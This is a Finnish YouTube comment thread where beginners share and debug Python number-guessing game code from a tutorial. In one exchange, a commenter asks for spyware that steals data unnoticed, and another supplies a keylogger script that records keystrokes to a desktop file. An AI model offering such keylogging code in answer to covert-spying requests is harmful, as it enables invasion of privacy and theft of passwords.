Uskon että näistä videoista on monelle ohjelmoinnista kiinnostuneille apua ja siksi on hyvä että näitä suomeksikin löytyy. On paljon helpompi opetella koodikieltä kun on joku joka osaa selittää sen helposti ymmärrettäväksi. Ja kun koulussa harjoitellaan ohjelmointia tehdään se scratchilla jolla et voi opetella koodikieliä.
Scratchissa oppii kyllä javaa. Meillä koulussa taas koodauksen opetus kusee koska: 1: Opettajat väittävät, että koodaus on 9. luokkalaiselle täysin mahdotonta, koska matematiikan taidot eivät ole riittävällä tasolla. Haloo? Tarvitaanko siihen sitten vai joku tohtorintutkinto että voi edes alkeita opetella? Ja 2: Ne opettajat, jotka suostuvat opettamaan, käyttävät DrRacketin valmiita farssikieliä joita todellisuudessa ei voi käyttää mihinkään. Kyseiset kielet yrittävät olla selkeitä ja yksinkertaisia, mutta python rektaa ne milloin vain noissakin osa-alueissa.
Hei! Asensin tänään Pythonin, Visual Studio Coden ja tarvittavat laajennukset koneeseeni ohjeittesi mukaan. Mutta vastaan tuli muutama ongelma: 1. Play-nappulasta painettaessa avautuvaan keskukseen ei ole mahdollista kirjoittaa, joka on tämän pelin kannalta välttämättöntä. Kokeilin avata pelin Terminalissa, joka sitten mahdollisti kirjoittamisen 2. Nyt kun sain pelin käyntiin ja kirjoitettua "kyllä", niin vastaan tuli toinen ongelma: Pelin sekaan ilmestyy tiedostopolku ja linkki sijaintiin, johon Visual Studio Code on asennettu. Tämä taasen tilttaa pelin täysin. Koodin ja lisäosat olen monesti tarkistanut, mutta se ei auttanut. - Ja sitten vielä yksi kysymys: Voisitko tehdä videon, jossa neuvotaan Windows 10:n komentokehotteen käyttöä minunlaiselleni harrastelijalle?
Juuri tämän takia ohjeistin siirtymään käyttämään VS coden sisäistä debuggeria, koska se mahdollistaa kirjoittamisen vs:än sisäiseen terminaali-ikkunaan jossa ohjelma pyöritetään
Ite tein puhelin sovelluksella sun videon inspiroimana tämmösen simppelin noppapelin jossa isompi luku voittaa. Siinä on pelaaja1 ja pelaaja2 Tässä on tää: from random import randint pelaaja1 = randint(1,6) pelaaja2 = randint(1,6) print(pelaaja1) print(pelaaja2) if pelaaja1 < pelaaja2: print("pelaaja2 voitti") elif pelaaja1 > pelaaja2: print("pelaaja1 voitti") else: print("tasapeli")
loistavaa... tälläisiä kokeiltiin aikoinaan 8-bittisillä kotitietokoneilla 1980-luvulla BASICilla, kieli on eri mut idea on sama. Silloin oli vaan että koneissa ei ollut kunnon editoreita ja ainoa virheilmotus mitä se anto jos jossain teki virheen oli tyyliin SYNTAX ERROR on LINE 30
Löytyy muuten Redditistä jo PELI KOODAUS sanoilla jo fun rakentavaa motivaatiota ja meillä on ilmainen put pro peli työkalu Unreal Engine. Kiitsa kaikille vinkeistä tsempata suomalaisiakin jotta motivoituvat rakentamaan tiimejä, pelikoodaajia, grafiikka taiteilijoita, ja peli-idean suunnittelijoita luomaan tiimejä . hmiset motivoituvat myös fyysisestä tapaamisista. Peli koodaajat ovat positiivisia ja motivoivia . Itse Käyn turun ja Helsingin alueella peli rakentamista motivoimassa. Peli koodaajat ovat positiivisia ja motivoivia jee :) Let your fire show! Hei tuo Patreon kelpaa suomalaisillekin pelin rakennus tiimeille positiivinen liekki. Kannatan! Pls answer creators! :)
Haluaisin tehdä tuohon kyllä/ei kysymykseen myös vaihtoehdon "ei" jolla peli loppuu. Nyt kun kirjoittaa mitä tahansa muuta kun "kyllä" se loppuu. Miten sen saisi uudestaan kysymään kysymyksen jos kirjoitan jotain muuta kuin kyllä tai ei?
Olet varmaan jo keksiny miten se tehdään, mutta siltä varalta että joku toinen haluaa tehdä saman, niin sen voi tehdä ainakin näin: from random import randint peli = False aloitus = True print("*" * 20) print("Tervetuloa pelaamaan!") print("*" * 20) while aloitus: #sama asia kuin while aloitus == True vastaus = randint(0,100) kysymys = input("Haluatko pelata? (Kyllä/ei)") if kysymys == "kyllä": yritykset = 0 peli = True print("Arvaa oikea luku!") while peli == True: arvaus = int(input("Syötä arvauksesi: ")) if arvaus < vastaus: print("Oikea vastaus on suurempi. Arvaa uudestaan.") yritykset += 1 #sama asia kuin yritykset = yritykset + 1 elif arvaus > vastaus: print("Oikea vastaus on pienempi. Arvaa uudestaan.") yritykset += 1 else: peli = False yritykset += 1 print("Arvasit oikein!") print("Sinulla meni vain ", yritykset, " yritystä!") elif kysymys == "ei": print("Hei hei. Nähdään pian!") aloitus = False
else: print("Vastaa joko kyllä tai ei!") Tuossa toki "ylimmäräisenä" ominaisuutena on myös laskuri joka laskee yritys kerrat
Itelläki sama homma mutta jos se avaa semmosen launch.json tiedostson nii sun pitää jättää se sinne taustalle ni ei tarvi aina valita uudestaan sitä current python juttua. Toivottavasti autto ees vähä...
Pythonilla graafisten pelien luomiseen tarkoitettuja kirjastoita löytyy, kuten esimerkiksi PyGame, mutta sen käyttäminen vaatii suurempaa ymmärrystä Pythonista ja esim. Olio-ohjelmoinnista. Kuitenkin myöhemmin tämä voisi olla mahdollista!
Mulla kesti 2h koska luulin että se ei oo niin vitun tarkka mutta kyllä oli yks komento oli yhen välin väärällä paikalla oot paras lisää koodausta tulee oikeesti sulla pitäis olla 1000000009099 seuraajaa koska oot niin hyvä
@@xlumipyry8805 Jos olet ohjelman onnistuneesti jo aikaisemmin ajanut, etsi koneeltasi kansio: C:\Users\omakäyttäjäsi\AppData\Local\Programs\Python\Python37\ Scriptin pitäisi näkyä siellä. Seuraavan kerran kannattaa tallentaa esim. työpöydälle jotta scripti helpompi löytää. :)
from random import randint vastaus = randint(0,100) peli = False print("*" * 20) print("Tervetuloa Pelaamaan!") print("*" * 20) kysymys = input("Haluatko pelata (kyllä/ei:"): ) if kysymys == "kyllä": peli = True print("Aloitetaan peli") else: print("Nähdään pian") onko tässä joku virhe ku ei toimi
et varmaan taida tarvita tätä enään, mutta sulla on tossa kysymys = input("Haluatko pelata (kyllä/ei:"): ) vähän väärin. Sen pitäisi mennä näin kysymys = input("Haluatko pelata? (kyllä/ei): ")
Onko kellään tietoa miks mun koodi ei mee pois päältä jos vastaa "ei" tohon ensimmäiseen kysymykseen? tässä on se koodi: from random import randint peli = False print(" " * 10) print("Tervetuloa pelaamaan!") print(" " * 10) kysymys = input("Haluatko pelata? (kyllä/ei): ") print(" " * 10) if kysymys == "kyllä": peli = True print("Aloitetaan peli!") else: peli = False print("Nähdään pian!") print(" " * 10) if peli == False: kysymys2 = input(" " * 0) if peli == True: kysymys2 = input("Valitse vaikeustaso (helppo/normaali/vaikea): ") print(" " * 10) if kysymys2 == "helppo": print("Valitsit vaikeustasoksi Helppo!") if kysymys2 == "normaali": print("Valitsit vaikeustasoksi Normaali!") if kysymys2 == "vaikea": print("Valitsit vaikeustasoksi Vaikea!") if kysymys2 == "helppo": vastaus1 = randint(0,100) print(" " * 10) print("Arvaa oikea luku 0-100!") print(" " * 10) if kysymys2 == "normaali": vastaus1 = randint(0,500) print(" " * 10) print("Arvaa oikea luku 0-500!") print(" " * 10) if kysymys2 == "vaikea": vastaus1 = randint(0,1000) print(" " * 10) print("Arvaa oikea luku 0-1000!") print(" " * 10) while kysymys2 == "helppo": arvaus = int(input("Syötä arvauksesi: ")) if arvaus < vastaus1: print("Oikea vastaus on suurempi!") elif arvaus > vastaus1: print("Oikea vastaus on pienempi!") else: print("Arvasit Oikein!") break while kysymys2 == "normaali": arvaus = int(input("Syötä arvauksesi: ")) if arvaus < vastaus1: print("Oikea vastaus on suurempi!") elif arvaus > vastaus1: print("Oikea vastaus on pienempi!") else: print("Arvasit Oikein!") break while kysymys2 == "vaikea": arvaus = int(input("Syötä arvauksesi: ")) if arvaus < vastaus1: print("Oikea vastaus on suurempi!") elif arvaus > vastaus1: print("Oikea vastaus on pienempi!") else: print("Arvasit Oikein!") break
from random import randint peli = false vastaus = randint(0,100) print("*" * 10) print("tervetuloa pelaamaan!!") print("*" * 10) kysymys = input("haluatko pleata? kyllä/ei: ") if kysymys == "kyllä" peli true print("aloitetaan plei") else: print("nähdään pian") eiks tos ole osa niistä koodeista?
Opeta miten koodataan vakoiluohjelma joka varastaa koneesta Tietoja ilman että Windows varoittaa siitä ja lähettää ne tiedot johonkin sovellukseen. Edit: olisi käyttöä.
Tässä esimerkki yhdestä tavasta kirjoittaa keylogger scripti. Vakoilu on laitonta enkä missään nimessä rohkaise rikolliseen toimintaan. Kirjoitin scriptin opetustarkoitusta varten. Tarvitaan python stantard libraryn ulkopuolinen paketti, command kenttä auki ja kirjoita: pip install pynput. Varsinainen koodi: ## Kommentti, muistithan ladata pynputin? pip install pynput ## Imports import os from time import sleep from pynput.keyboard import Listener, Key ## Functio def on_press(key): lista.append(key) if key == Key.end: return False ## Hakee Windows käyttäjänimen jotta löytää työpöydän tekstitiedoston tallentamista varten käyttäjänimi = os.getlogin() ## Millä nimellä haluat tallentaa tekstitiedoston johon ohjelma kerää dataa? tiedostonimi = 'keylogged.txt' ## Ohjelma parsii kasaan polun johon tallentaa tekstitiedosto ## Huomaa että käyttöjärjestelmäni on englanniksi ## Jos ja kun sinun omasi on suomeksi, joudut vaihtamaan todennäköisesti sanat 'Users' ja 'Desktop' suomiversioiksi. polku = 'C:\\Users\\%s\\Desktop\\%s' % (käyttäjänimi, tiedostonimi) ## Luodaan pari listaa joita käytetään myöhemmin lista = [] teksti = [] ## Looppi joka käynnissä ohjelman käynnistyttyä kunnes painetaan näppäintä 'end', löytyy enter nappulan oikealta puolelta. while True: with Listener(on_press=on_press) as l: l.join() for i in iter(lista): if i == Key.enter: teksti.append('enter') elif i == Key.space: teksti.append(' ') elif i == Key.end: pass else: teksti.append(i) break ## Sleep nukkuu sekunnin verran jokaisen loopin välillä jottei prossusi käy turhan kuumana. time.sleep(1) ## Kun 'end' nappula on painettu ja ohjelma poistuu while loopista, kirjoitetaan kerätty data tekstitiedostoon jonka tallennuskohteen määritit jo aikaisemmin. with open(polku, 'a') as file: print(teksti, file=file)
Ite tein toho viel semmosen et voit kirjoittaa Jatka pelin jälkeen niin peli jatkuu ja aina ku oot voittanut nii jos kirjoitat jotain muuta kuin jatka nii peli sammuu.
Mulla on semmone ongelma tuossa pythonissa että ku laittaa ä:n tai ö:n niin sitte ku painaa playtä niin se ei tunnista niitä. Tullee vaa jottai ihme merkkejä niitten tilalle.
Tältä sivulta löytyy infoa miten tuo korjataan, tähän suoraan koodin kopioiminen tuotti ongelmia :D www.ohjelmointiputka.net/oppaat/opas.php?tunnus=python_l2
ohjelmointi tarkoittaaa vaikka sitä että kerrot koneeelle mitä sen pitää tehdä ja ohjelmoinnilla voidaan myös tarkoittaa pelin tekemistä riippuu vähän.
Koitin soveltaa tätä ns tekstiseikkailuun, mutta joku kusee.... kysymys = input("Haluatko blablabla? (kyllä/ei: ") if kysymys == "kyllä": game = True print("blablabal!") else: print("blablabla!") while game == True: k1 = input("balblbabla? (kyllä/en: ") if k1 == "kyllä": print("Tämä rivi antaa erroria, jota en jostain syystä ymmärrä.") print("Mikä auttaisi?") if k1 == "en": print("Ja nää sun videot on mahtavia, jopa vanhempi konkari innostuu vielä!") print("Minä: Miksi tästä ei tuu mitään?!?!") Tossa koodin pätkä joka kusee. Toki teksti muutettu print komennoista enemmän lapsille sopivaksi :D
Tarkista, että kaikki sulkeet myös suljetaan! Jos inputin "ohjetekstissä" on sulkeet, täytyy pitää huolta että itse komentokin suljetaan. Input("esimerkki (tämä pitää sulkea erikseen komennosta)")
@@MKVD Ongelma oli tuossa if k1== "kyllä" print kohdassa. print komennot eivät olleet oikeassa paikassa vaan omia rivejään :D Hetki meni selvittäessä, mutta kiitokset! Innolla odotan lisää opettavaisia videoita!
Esimerkiksi tuollainen pieni tekstiseikkailu muutamalla valinnaisella vaihtoehdolla olisi hieno opetus. Itse tuskailen koodissa nyt sen kanssa miten saan koodin jatkamaan tiettyä polkua. Esim jos koodissa on kohta missä on vaihtoehsot kyllä tai ei ja molemmat vastaukset vievät peliä eri suuntiin. Ja myös miten siitä päästään jatkamaan samaan kohtaan myöhemmin oli vastaus kumpi tahansa. Sekava selitys,. mutta toivottavasti ymmärsit ja kauhean koodaus opettelun kuumeen aiheutit :D
mä tein ihan samalla tavalla mut se ei toiminu... mä en saanu kirjotettua siihen kohtaa mihnä oli se "syötä arvauksesi" kaiken tein täysin samoin ja tarkistinki viä mut ei toimi Mun koodi rivit: from random import randint vastaus = randint(0,100) peli = False print("*" * 20) print("Tervetuloa pelaamaan!") print("*" * 20) kysymys = input("haluatko pelata? (kyllä/ei): ") if kysymys == "kyllä": peli = True print("aloitetaan peli!") print("Arvaa oikea luku!") else: print("Nähdään pian!") while peli == True: arvaus = int(input("Syötä arvauksesi: ")) if arvaus < vastaus: print("Oikea vastaus on suurempi") elif arvaus > vastaus: print("Oikea vastaus on pienempi") else: print("Arvasit oikein") peli = False
Kokeilin kirjoittamaasi koodia ja se toimii niinkuin pitääkin. Tarkista vielä, että scriptin loppupuolella alkava while loop on samalla tasolla kuin ylempänä olevat if ja else statementit. Nyt näyttää siltä että while looppisi olisi sisennettynä.
lol mun koko kodi on paskana from random import randint vastaus = randint(0,100) peli = False print(vastaus) print("*" * 20) print(Tervetuloa pelaamaan peliä) print("*" * 20) kysymys = input("Haluatko pelata? (Kyllä/Ei) ") if kysymys == "kyllä": peli = True print("Aloitetaan peli") print("Arvaa numero") else: print("Miksi :(") while peli == True: arvaus = input("Syötä arvauksesi: ") if arvaus < vastaus: print(Oikea vastaus on suurempi!) elif arvaus > vastaus: print("Oikea vastaus on pienempi!") else: print("Arvasit oikein!")
from random import randint vastaus = randint(0,100) peli = False print("*" * 20) print("Tervetuola pelaamaan") print("*" * 20) kysymys = input("Haluatko aloittaa pelin? (kyllä/ei): ") if kysymys == "kyllä": peli = True print("Aloitetaaan peli!") print("Arvaa oikea luku!") else: print("Nähdään pian!") while peli == True: arvaus = input("Syötä arvauksesi: ") if arvaus < vastaus: print("Oikea vastaus on suurempi!") elif arvaus > vastaus: print("Oikea vastaus on pienempi!") else: print("Arvasit oikein!") peli = False MIKS TÄÄ EI TOIMI SE SANOO TOLLE:
Sama lua koodilla: math.randomseed(os.time()) numeroa = math.random(1,100) pelaaja = {} pelaaja.arvaus = 0 local Peli = false print("tervetuloa!") io.write('Haluatko pelata? (ok)') kysymys = io.read() if kysymys == "ok" then Peli = true print("Peli aloitetaan ") else print("ei sit vittu ") end while Peli do print("Arvaa numero: ") pelaaja.vastaus = io.read() pelaaja.arvaus = tonumber(pelaaja.vastaus) if ( pelaaja.arvaus > numeroa ) then print("Arvauksesi on liian iso") elseif ( pelaaja.arvaus < numeroa) then print("Arvauksesi on liian pieni") else print("Oikein!") os.exit() end end
Uskon että näistä videoista on monelle ohjelmoinnista kiinnostuneille apua ja siksi on hyvä että näitä suomeksikin löytyy. On paljon helpompi opetella koodikieltä kun on joku joka osaa selittää sen helposti ymmärrettäväksi. Ja kun koulussa harjoitellaan ohjelmointia tehdään se scratchilla jolla et voi opetella koodikieliä.
Scratchissa oppii kyllä javaa. Meillä koulussa taas koodauksen opetus kusee koska:
1: Opettajat väittävät, että koodaus on 9. luokkalaiselle täysin mahdotonta, koska matematiikan taidot eivät ole riittävällä tasolla. Haloo? Tarvitaanko siihen sitten vai joku tohtorintutkinto että voi edes alkeita opetella?
Ja 2: Ne opettajat, jotka suostuvat opettamaan, käyttävät DrRacketin valmiita farssikieliä joita todellisuudessa ei voi käyttää mihinkään. Kyseiset kielet yrittävät olla selkeitä ja yksinkertaisia, mutta python rektaa ne milloin vain noissakin osa-alueissa.
@@konstanen Totta!
Eikö c++/ c sharppi olisi helpompi alkuun (nämä loopit on ainakin mielestäni helpompia)
C-suvun kielet ovat syntaksissaan huomattavasti monimutkaisempia, ja sen takia python on fiksumpi kieli opettaa
niimpä
Kiitos! Näitä lisää.
Oisko seuraavaksi simppeli hirsipuu peli?
Voisin testaa koodaa
Oon opetellu sun innostamana pythonia
Hei! Asensin tänään Pythonin, Visual Studio Coden ja tarvittavat laajennukset koneeseeni ohjeittesi mukaan. Mutta vastaan tuli muutama ongelma:
1. Play-nappulasta painettaessa avautuvaan keskukseen ei ole mahdollista kirjoittaa, joka on tämän pelin kannalta välttämättöntä. Kokeilin avata pelin Terminalissa, joka sitten mahdollisti kirjoittamisen
2. Nyt kun sain pelin käyntiin ja kirjoitettua "kyllä", niin vastaan tuli toinen ongelma: Pelin sekaan ilmestyy tiedostopolku ja linkki sijaintiin, johon Visual Studio Code on asennettu. Tämä taasen tilttaa pelin täysin. Koodin ja lisäosat olen monesti tarkistanut, mutta se ei auttanut.
-
Ja sitten vielä yksi kysymys: Voisitko tehdä videon, jossa neuvotaan Windows 10:n komentokehotteen käyttöä minunlaiselleni harrastelijalle?
Juuri tämän takia ohjeistin siirtymään käyttämään VS coden sisäistä debuggeria, koska se mahdollistaa kirjoittamisen vs:än sisäiseen terminaali-ikkunaan jossa ohjelma pyöritetään
Nää Python koodaus videot on parhaita!näistä myös oppii paljon.
Nää oikeasti auttaa minua pythonin oppimisessa
Ite tein puhelin sovelluksella sun videon inspiroimana tämmösen simppelin noppapelin jossa isompi luku voittaa.
Siinä on pelaaja1 ja pelaaja2
Tässä on tää:
from random import randint
pelaaja1 = randint(1,6)
pelaaja2 = randint(1,6)
print(pelaaja1)
print(pelaaja2)
if pelaaja1 < pelaaja2:
print("pelaaja2 voitti")
elif pelaaja1 > pelaaja2:
print("pelaaja1 voitti")
else:
print("tasapeli")
@@umeet4144 mimo on hyvä millä oppii helposti
Haluun kopioida tän mut en pysty☹️
Ei toimk
Ei toimi*
voisitkotehä jonkun tutoriaalin arduinosta ja askelmoottoreista?
Tee lisää näitä!!
Mitä tommonen kun syntax error tarkoittaa kun mulla tulee sellainen tässä koodissa.
loistavaa... tälläisiä kokeiltiin aikoinaan 8-bittisillä kotitietokoneilla 1980-luvulla BASICilla, kieli on eri mut idea on sama. Silloin oli vaan että koneissa ei ollut kunnon editoreita ja ainoa virheilmotus mitä se anto jos jossain teki virheen oli tyyliin SYNTAX ERROR on LINE 30
Löytyy muuten Redditistä jo PELI KOODAUS sanoilla jo fun rakentavaa motivaatiota ja meillä on ilmainen put pro peli työkalu Unreal Engine. Kiitsa kaikille vinkeistä tsempata suomalaisiakin jotta motivoituvat rakentamaan tiimejä, pelikoodaajia, grafiikka taiteilijoita, ja peli-idean suunnittelijoita luomaan tiimejä . hmiset motivoituvat myös fyysisestä tapaamisista. Peli koodaajat ovat positiivisia ja motivoivia . Itse Käyn turun ja Helsingin alueella peli rakentamista motivoimassa. Peli koodaajat ovat positiivisia ja motivoivia jee :) Let your fire show! Hei tuo Patreon kelpaa suomalaisillekin pelin rakennus tiimeille positiivinen liekki. Kannatan! Pls answer creators! :)
Mulla ei toimi tulee koko ajan Syntax error vaikka kirjotan kaiken minkä säki
Mul on ongelma kun tein niin just ku sinä mut mul on 20rivin kaa syntaxError , mitä teen?
Sinulla on rivi ongelmia käy katsomassa rivisi ja käytä tabua korjaamiseen
Ihan mielenkiintoinen "peli". Voisi itsekin kokeilla.
hei näitä lisää vaikka ei tulis katsojia niin autat näillä monia!
Millon taas android vinkkejä
Onks Sulla kotona jotain pöytäkonetta tms. Jos oon niin specsejä?
Teet hyviä videoita😎 Todella taitava kaveri😯
Haluaisin tehdä tuohon kyllä/ei kysymykseen myös vaihtoehdon "ei" jolla peli loppuu. Nyt kun kirjoittaa mitä tahansa muuta kun "kyllä" se loppuu.
Miten sen saisi uudestaan kysymään kysymyksen jos kirjoitan jotain muuta kuin kyllä tai ei?
Olet varmaan jo keksiny miten se tehdään, mutta siltä varalta että joku toinen haluaa tehdä saman, niin sen voi tehdä ainakin näin:
from random import randint
peli = False
aloitus = True
print("*" * 20)
print("Tervetuloa pelaamaan!")
print("*" * 20)
while aloitus:
#sama asia kuin while aloitus == True
vastaus = randint(0,100)
kysymys = input("Haluatko pelata? (Kyllä/ei)")
if kysymys == "kyllä":
yritykset = 0
peli = True
print("Arvaa oikea luku!")
while peli == True:
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus:
print("Oikea vastaus on suurempi. Arvaa uudestaan.")
yritykset += 1
#sama asia kuin yritykset = yritykset + 1
elif arvaus > vastaus:
print("Oikea vastaus on pienempi. Arvaa uudestaan.")
yritykset += 1
else:
peli = False
yritykset += 1
print("Arvasit oikein!")
print("Sinulla meni vain ", yritykset, " yritystä!")
elif kysymys == "ei":
print("Hei hei. Nähdään pian!")
aloitus = False
else:
print("Vastaa joko kyllä tai ei!")
Tuossa toki "ylimmäräisenä" ominaisuutena on myös laskuri joka laskee yritys kerrat
@@gassu992 kiitti oli apia
Apua*😅
Pystyisitkö tehä videon missä kerrot kaikki pythonin salat
Tekisivatpa lisaa pelikoodaus videoita ja Arduino robottiaxeli videoita! :D
oikeesti ihan sika hyvä video sovelsin pikkuse tota ideaa ja tein siit ohjelman jolla opettelen kokeisiin ja on auttanu paljon
Sain visuaalisen syövän puolipisteen puuttumisesta...
PS: mahtava video
Ite en löydä mistään debuggia.
mkvd osaistko sanoa miks mulla on source control ja debug kohassa mun pitää valita python ja tämmöstä osaako joku auttaa?
Itelläki sama homma mutta jos se avaa semmosen launch.json tiedostson nii sun pitää jättää se sinne taustalle ni ei tarvi aina valita uudestaan sitä current python juttua. Toivottavasti autto ees vähä...
kiitos ku teet näit videoit täst koodaamisest, sen ekan osan ansiost alotin koodaamisen
Miten voi tehdä pelin sillain että peli ei olisi vain "koodikeittoa" vaan esim Clash of clans siinä ei näy koodeja vaan esim. Sotilaita yms...?
Pythonilla mut lisäät vaa grafiikkaa ja ohjelmoit ne kaikki näppäimet ja animaatiot
Ai niin kuin niillä "ulkoisilla kirjastoilla"?
Pythonilla graafisten pelien luomiseen tarkoitettuja kirjastoita löytyy, kuten esimerkiksi PyGame, mutta sen käyttäminen vaatii suurempaa ymmärrystä Pythonista ja esim. Olio-ohjelmoinnista. Kuitenkin myöhemmin tämä voisi olla mahdollista!
Nopean googlauksen jälkeen Supercell näyttäisi käyttävän C++ sekä Objective C:tä
@@toke9352 nii ja siin on opengl:t ja muut libraryt
Mulla kesti 2h koska luulin että se ei oo niin vitun tarkka mutta kyllä oli yks komento oli yhen välin väärällä paikalla oot paras lisää koodausta tulee oikeesti sulla pitäis olla 1000000009099 seuraajaa koska oot niin hyvä
miten pystyy tallentaa ton pelin sillee et voi pelata sitä myöhemmin ja testattaa kavereilla
Onko sinulla Python asennettuna ja tuo scripti kirjoitettuna?
@@panchoprkl4452 joo tottakai
@@xlumipyry8805 Jos olet ohjelman onnistuneesti jo aikaisemmin ajanut, etsi koneeltasi kansio: C:\Users\omakäyttäjäsi\AppData\Local\Programs\Python\Python37\
Scriptin pitäisi näkyä siellä.
Seuraavan kerran kannattaa tallentaa esim. työpöydälle jotta scripti helpompi löytää. :)
@@xlumipyry8805 ittellä ainaki tallentaa automattisesti
mitehä vitussa tänki onnistuin kusee tulee joku SyntaxError: invalid syntax
sehän kertoo sen errorin sulle, oot vaan laittanut jonkun merkin sinne väärällä tavalla. kato se code läpi ja kokeile compilaa uudelleen.
from random import randint
vastaus = randint(0,100)
peli = False
print("*" * 20)
print("Tervetuloa Pelaamaan!")
print("*" * 20)
kysymys = input("Haluatko pelata (kyllä/ei:"): )
if kysymys == "kyllä":
peli = True
print("Aloitetaan peli")
else:
print("Nähdään pian")
onko tässä joku virhe ku ei toimi
et varmaan taida tarvita tätä enään, mutta sulla on tossa kysymys = input("Haluatko pelata (kyllä/ei:"): ) vähän väärin. Sen pitäisi mennä näin kysymys = input("Haluatko pelata? (kyllä/ei): ")
@@Zantuuh Joo kyllä mää oon jo huomannut tuon
Onko kellään tietoa miks mun koodi ei mee pois päältä jos vastaa "ei" tohon ensimmäiseen kysymykseen?
tässä on se koodi:
from random import randint
peli = False
print(" " * 10)
print("Tervetuloa pelaamaan!")
print(" " * 10)
kysymys = input("Haluatko pelata? (kyllä/ei): ")
print(" " * 10)
if kysymys == "kyllä":
peli = True
print("Aloitetaan peli!")
else:
peli = False
print("Nähdään pian!")
print(" " * 10)
if peli == False:
kysymys2 = input(" " * 0)
if peli == True:
kysymys2 = input("Valitse vaikeustaso (helppo/normaali/vaikea): ")
print(" " * 10)
if kysymys2 == "helppo":
print("Valitsit vaikeustasoksi Helppo!")
if kysymys2 == "normaali":
print("Valitsit vaikeustasoksi Normaali!")
if kysymys2 == "vaikea":
print("Valitsit vaikeustasoksi Vaikea!")
if kysymys2 == "helppo":
vastaus1 = randint(0,100)
print(" " * 10)
print("Arvaa oikea luku 0-100!")
print(" " * 10)
if kysymys2 == "normaali":
vastaus1 = randint(0,500)
print(" " * 10)
print("Arvaa oikea luku 0-500!")
print(" " * 10)
if kysymys2 == "vaikea":
vastaus1 = randint(0,1000)
print(" " * 10)
print("Arvaa oikea luku 0-1000!")
print(" " * 10)
while kysymys2 == "helppo":
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus1:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus1:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit Oikein!")
break
while kysymys2 == "normaali":
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus1:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus1:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit Oikein!")
break
while kysymys2 == "vaikea":
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus1:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus1:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit Oikein!")
break
nyt sain toimimaan. "peli = False" piti vain vaihtaa "quit(peli)"
Yksi vaihtoehto olisi myös tehdä Peli muuttujan sijaan loputon while silmukka ja katkaista se breakilla
Totta, mutta yleensä while True-silmukat ovat ns. "Huonoja" tapoja ohjelmoinnissa :D
miks mulla tulee joku väärin vaikka teen prikulleen samalla lailla
et sit varmaan tee
from random import randint
peli = false
vastaus = randint(0,100)
print("*" * 10)
print("tervetuloa pelaamaan!!")
print("*" * 10)
kysymys = input("haluatko pleata? kyllä/ei: ")
if kysymys == "kyllä"
peli true
print("aloitetaan plei")
else:
print("nähdään pian") eiks tos ole
osa niistä koodeista?
Mitä meinaat tällä? Tuos on tosi moni asia väärin
@@rubeushagrid4077 pystyks laittaa ne oikein?
from random import randint
vastaus = randint(0,100)
peli = False
print("*" * 21)
print("Tervetuloa pelaamaan!")
print("*" * 21)
kysymys = input("Haluatko pelata? (kyllä/ei): ")
if kysymys == "kyllä":
peli = True
print("Aloitetaan peli!")
print("Arvaa oikea luku: 0-100")
else:
print("Nähdään pian!")
while peli == True:
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit oikein!")
peli = False
@@rubeushagrid4077 kitti nyt voin iteki testaa tota pelii
@@kake00660 mikset vaan ite kirjota tota niinkun videolla tehtiin?
miten tostaa saa exe tiedoston
Millo osa 3?
Opeta miten koodataan vakoiluohjelma joka varastaa koneesta Tietoja ilman että Windows varoittaa siitä ja lähettää ne tiedot johonkin sovellukseen.
Edit: olisi käyttöä.
🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔
Tässä esimerkki yhdestä tavasta kirjoittaa keylogger scripti. Vakoilu on laitonta enkä missään nimessä rohkaise rikolliseen toimintaan. Kirjoitin scriptin opetustarkoitusta varten.
Tarvitaan python stantard libraryn ulkopuolinen paketti, command kenttä auki ja kirjoita: pip install pynput.
Varsinainen koodi:
## Kommentti, muistithan ladata pynputin? pip install pynput
## Imports
import os
from time import sleep
from pynput.keyboard import Listener, Key
## Functio
def on_press(key):
lista.append(key)
if key == Key.end:
return False
## Hakee Windows käyttäjänimen jotta löytää työpöydän tekstitiedoston tallentamista varten
käyttäjänimi = os.getlogin()
## Millä nimellä haluat tallentaa tekstitiedoston johon ohjelma kerää dataa?
tiedostonimi = 'keylogged.txt'
## Ohjelma parsii kasaan polun johon tallentaa tekstitiedosto
## Huomaa että käyttöjärjestelmäni on englanniksi
## Jos ja kun sinun omasi on suomeksi, joudut vaihtamaan todennäköisesti sanat 'Users' ja 'Desktop' suomiversioiksi.
polku = 'C:\\Users\\%s\\Desktop\\%s' % (käyttäjänimi, tiedostonimi)
## Luodaan pari listaa joita käytetään myöhemmin
lista = []
teksti = []
## Looppi joka käynnissä ohjelman käynnistyttyä kunnes painetaan näppäintä 'end', löytyy enter nappulan oikealta puolelta.
while True:
with Listener(on_press=on_press) as l:
l.join()
for i in iter(lista):
if i == Key.enter:
teksti.append('enter')
elif i == Key.space:
teksti.append(' ')
elif i == Key.end:
pass
else:
teksti.append(i)
break
## Sleep nukkuu sekunnin verran jokaisen loopin välillä jottei prossusi käy turhan kuumana.
time.sleep(1)
## Kun 'end' nappula on painettu ja ohjelma poistuu while loopista, kirjoitetaan kerätty data tekstitiedostoon jonka tallennuskohteen määritit jo aikaisemmin.
with open(polku, 'a') as file:
print(teksti, file=file)
@@panchoprkl4452 miten ton saisi menemään muistitikulle ton tiedoston
Mul itel tulee tohon vikan elif kohalle alle punanen viiva ja siks sitä ei pysty suorittamaan D:
Jee
Jes
Kertokaa mitä tein tässä väärin????
from random import randint
vastaus = randint(0,100)
peli = False
print("*" * 20)
print("Tervetuloa pelaamaan!")
print("*" * 20)
kysymys = input("Haluatko pelata? (kyllä/ei): ")
if kysymys == "kyllä":
peli = True
print("*" * 20
print("Aloitetaan peli!")
print("*" * 20
print("Arvaa oikea luku!")
print("*" * 20)
else:
print("Hei hei. Pelataan myöhemmin!")
print("*" * 20)
while peli == True:
arvaus = int(input("Syötä arvauksesi!: "))
if arvaus < vastaus:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus:
print("Oikea vastaus on pienempi!")
else:
